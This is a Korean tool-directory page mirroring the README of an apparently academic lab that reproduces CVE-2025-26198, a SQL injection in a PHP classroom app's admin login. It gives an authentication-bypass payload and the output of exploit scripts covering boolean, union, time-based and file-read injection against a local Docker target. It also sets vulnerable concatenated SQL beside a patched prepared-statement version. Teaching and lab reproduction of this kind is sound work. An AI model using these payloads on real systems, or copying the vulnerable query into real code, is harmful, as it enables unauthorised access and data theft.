Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-26198 | Kitploit
도구/GitHubGitHub/wailyacoubi9/cve-2025-26198
Vulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationDatabase Security
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-26198 - SQL 인젝션 데모

ENSIMAG 학술 프로젝트 - 3A 보안
저자: Wail Yacoubi, Mohammed-Yassine Akhmari
날짜: 2026년 1월


경고

이 코드는 교육 목적으로 의도적으로 취약하게 작성되었습니다.
절대 프로덕션 환경에 배포하지 마십시오.


설명

CVE-2025-26198 재현: CloudClassroom-PHP-Project v1.0의 치명적 SQL 인젝션.

CVE 특징:

  • 식별자: CVE-2025-26198
  • CVSS 점수: 9.8/10 (치명적)
  • 유형: SQL 인젝션 (CWE-89)
  • 취약 구성 요소: loginlinkadmin.php
  • 영향: 인증 우회 + 데이터베이스 전체 추출

공식 참조: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


목적

SQL 인젝션 공격 기법 4가지를 시연합니다:

  1. Boolean-based - 인증 우회
  2. Union-based - 데이터 추출
  3. Time-based Blind - 지연 기반 탐지
  4. File Read - 시스템 파일 읽기

설치

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3.x
  • requests 설치: pip install requests

시작

root@kitploit:~
# 저장소 복제
git clone <votre-repo>
cd CVE-2025-26198

# 인프라 실행
docker-compose up -d

# MySQL이 준비될 때까지 대기 (30초)
sleep 30

# 컨테이너 확인
docker-compose ps

애플리케이션은 http://localhost:8081에서 접근할 수 있습니다.


익스플로잇

방법 1: 수동 (브라우저)

  1. http://localhost:8081에 접속

  2. 다음 양식을 작성합니다:

    • Username: admin' OR '1'='1'-- -
    • Password: anything
  3. Login 클릭

결과: 유효한 비밀번호 없이 관리자 로그인 성공.

설명:

페이로드는 SQL 쿼리를 다음과 같이 변환합니다:

root@kitploit:~
-- 일반 쿼리
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- 인젝션이 포함된 쿼리
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

OR '1'='1'는 항상 참이며, -- -는 나머지를 주석 처리합니다.


방법 2: Python 스크립트

간단한 스크립트

root@kitploit:~
python exploit_simple.py http://localhost:8081

예상 출력:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

전체 스크립트 (4가지 기법)

root@kitploit:~
python exploit.py http://localhost:8081

예상 출력:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

패치된 버전

prepared statements를 사용하는 보안 버전을 테스트합니다:

root@kitploit:~
# 패치된 버전 활성화
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# 익스플로잇 재테스트
python exploit_simple.py http://localhost:8081

예상 결과:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

입력 검증과 prepared statements로 인해 공격이 차단됩니다.

취약한 버전을 복원합니다:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

버전 비교

취약한 코드:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

안전한 코드:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

프로젝트 구조

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # 취약 버전
│   ├── loginlinkadmin_PATCHED.php  # 보안 버전
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

문제 해결

웹 컨테이너가 시작되지 않는 경우

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

익스플로잇이 작동하지 않는 경우

root@kitploit:~
# MySQL 확인
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# 웹 서비스 확인
curl http://localhost:8081

# 활성 버전 확인
head -n 2 app/loginlinkadmin.php

포트가 이미 사용 중인 경우

docker-compose.yml을 수정합니다:

root@kitploit:~
ports:
  - "8082:80"

문서

자세한 분석은 RAPPORT.md를 참조하세요. 포함 내용:

  • 취약점 메커니즘
  • 시스템 아키텍처
  • 보안 강화 권장 사항
  • 개발 모범 사례

참조

  • 공식 CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • 원본 프로젝트: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL 인젝션: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

면책 조항

본 프로젝트는 ENSIMAG 사이버 보안 강좌의 일환으로 교육 목적으로만 개발되었습니다.

허용 용도:

  • 학습 및 교육
  • 승인된 환경에서의 테스트

금지 용도:

  • 실제 시스템에 대한 공격
  • 악의적인 사용

학술적 범위를 벗어난 모든 사용은 엄격히 금지되며 불법입니다.


저자
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - 2026년 졸업 예정
과목: 3A 보안

도구 다운로드
항목취약 버전패치 버전
SQL 쿼리직접 문자열 결합PDO prepared statement
입력 검증없음영숫자 정규식
출력 이스케이프없음htmlspecialchars()
SQL 인젝션공격 가능차단됨
로그없음error_log()